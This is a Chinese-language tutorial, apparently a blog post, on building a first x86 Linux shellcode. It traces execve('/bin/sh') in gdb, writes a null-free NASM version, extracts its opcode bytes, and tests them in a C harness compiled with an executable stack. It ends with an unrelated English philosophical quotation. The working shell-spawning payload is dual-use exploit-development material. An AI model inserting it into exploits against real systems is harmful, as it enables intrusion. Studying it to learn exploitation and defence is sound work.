第一个shellcode
0. 一个弹出shell的小程序
bump_shell.c:
#include<unistd.h>
#include<stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main(){
execve("/bin/sh",buf,0);
exit(0);
}
gcc -static -o bump_shell bump_shell.c
编译后执行./bump_shell
:
root@kali:~/shellcode# ./bump_shell
# pwd
/root/shellcode
# exit
root@kali:~/shellcode#
1. gdb调试分析bump_shell
默认gdb反汇编语法是A&T,看起来有点别扭,所以先把语法设置为Intel格式:
root@kali:~/shellcode# echo "set disassembly-flavor intel" > ~/.gdbinit
对汇编不熟的话可以先看看汇编基础,对gdb调试不熟的话可以先看看GDB十分钟教程。
-q(quik)
启动gdb:
root@kali:~/shellcode# gdb bump_shell -q
Reading symbols from bump_shell...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080489cc <+0>: lea ecx,[esp+0x4]
0x080489d0 <+4>: and esp,0xfffffff0
0x080489d3 <+7>: push DWORD PTR [ecx-0x4]
0x080489d6 <+10>: push ebp
0x080489d7 <+11>: mov ebp,esp
0x080489d9 <+13>: push ecx
0x080489da <+14>: sub esp,0x4
0x080489dd <+17>: sub esp,0x4
0x080489e0 <+20>: push 0x0
0x080489e2 <+22>: push 0x80eb068
0x080489e7 <+27>: push 0x80bc2a8
0x080489ec <+32>: call 0x806d650 <execve>
0x080489f1 <+37>: add esp,0x10
0x080489f4 <+40>: sub esp,0xc
0x080489f7 <+43>: push 0x0
0x080489f9 <+45>: call 0x804e660 <exit>
End of assembler dump.
(gdb) disas 0x806d650
Dump of assembler code for function execve:
0x0806d650 <+0>: push ebx
0x0806d651 <+1>: mov edx,DWORD PTR [esp+0x10]
0x0806d655 <+5>: mov ecx,DWORD PTR [esp+0xc]
0x0806d659 <+9>: mov ebx,DWORD PTR [esp+0x8]
0x0806d65d <+13>: mov eax,0xb
0x0806d662 <+18>: call DWORD PTR ds:0x80eb9f0
0x0806d668 <+24>: pop ebx
0x0806d669 <+25>: cmp eax,0xfffff001
0x0806d66e <+30>: jae 0x8071140 <__syscall_error>
0x0806d674 <+36>: ret
End of assembler dump.
(gdb) disas *0x80eb9f0
Dump of assembler code for function _dl_sysinfo_int80:
0x08070030 <+0>: int 0x80
0x08070032 <+2>: ret
End of assembler dump.
(gdb) b *0x0806d662
Breakpoint 1 at 0x806d662
(gdb) r
Starting program: /root/shellcode/bump_shell
Breakpoint 1, 0x0806d662 in execve ()
(gdb) disas 0x806d650
Dump of assembler code for function execve:
0x0806d650 <+0>: push ebx
0x0806d651 <+1>: mov edx,DWORD PTR [esp+0x10]
0x0806d655 <+5>: mov ecx,DWORD PTR [esp+0xc]
0x0806d659 <+9>: mov ebx,DWORD PTR [esp+0x8]
0x0806d65d <+13>: mov eax,0xb
=> 0x0806d662 <+18>: call DWORD PTR ds:0x80eb9f0
0x0806d668 <+24>: pop ebx
0x0806d669 <+25>: cmp eax,0xfffff001
0x0806d66e <+30>: jae 0x8071140 <__syscall_error>
0x0806d674 <+36>: ret
End of assembler dump.
(gdb) i r
eax 0xb 11
ecx 0x80eb068 135180392
edx 0x0 0
ebx 0x80bc2a8 134988456
esp 0xbffff358 0xbffff358
ebp 0xbffff378 0xbffff378
esi 0x80eb00c 135180300
edi 0x49656e69 1231384169
eip 0x806d662 0x806d662 <execve+18>
eflags 0x296 [ PF AF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) p /x $eax
$1 = 0xb
(gdb) x /10c $ebx
0x80bc2a8: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\000'
0x80bc2b0: 46 '.' 46 '.'
(gdb) x /10x $ebx
0x80bc2a8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
0x80bc2b0: 0x2e 0x2e
(gdb) x /2wx $ecx
0x80eb068 <buf>: 0x080bc2a8 0x00000000
(gdb) p $edx
$2 = 0
(gdb)
2. 编写shellcode
先比照上述gdb反汇编,抠出可用汇编代码,调通后结合shellcode开发基础精神,精简如下:
shellcode.asm:
section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
xor edx,edx
mov ecx,esp
mov al,0xb ; mov eax,0xb causes too many zero bytes.
int 0x80
编译验证:
root@kali:~/shellcode/asm# nasm -f elf shellcode.asm
root@kali:~/shellcode/asm# ld -o shellcode shellcode.o
root@kali:~/shellcode/asm# ./shellcode
# pwd
/root/shellcode/asm
# exit
root@kali:~/shellcode/asm#
提取二进制:
oot@kali:~/shellcode/asm# objdump -d shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 31 d2 xor %edx,%edx
8048073: 89 e1 mov %esp,%ecx
8048075: b0 0b mov $0xb,%al
8048077: cd 80 int $0x80
root@kali:~/shellcode/asm#
放到C代码里验证:
shellcode.c:
void main(){
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x31\xd2"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";
void (*fp)(void);
fp=(void*)shellcode;
fp();
}
效果此处略(注意须开启栈空间可执行权限,gcc -z execstack -o shellcode shellcode.c
)
Those who seek some sort of a higher purpose or 'universal goal', who don't know what to live for, who moan that they must 'find themselves'. You hear it all around us. That seems to be theofficial bromide of our century. Every book you open. Every drooling self-confession. It seems to be the noble thing to confess. I'd think it would be the most shameful one.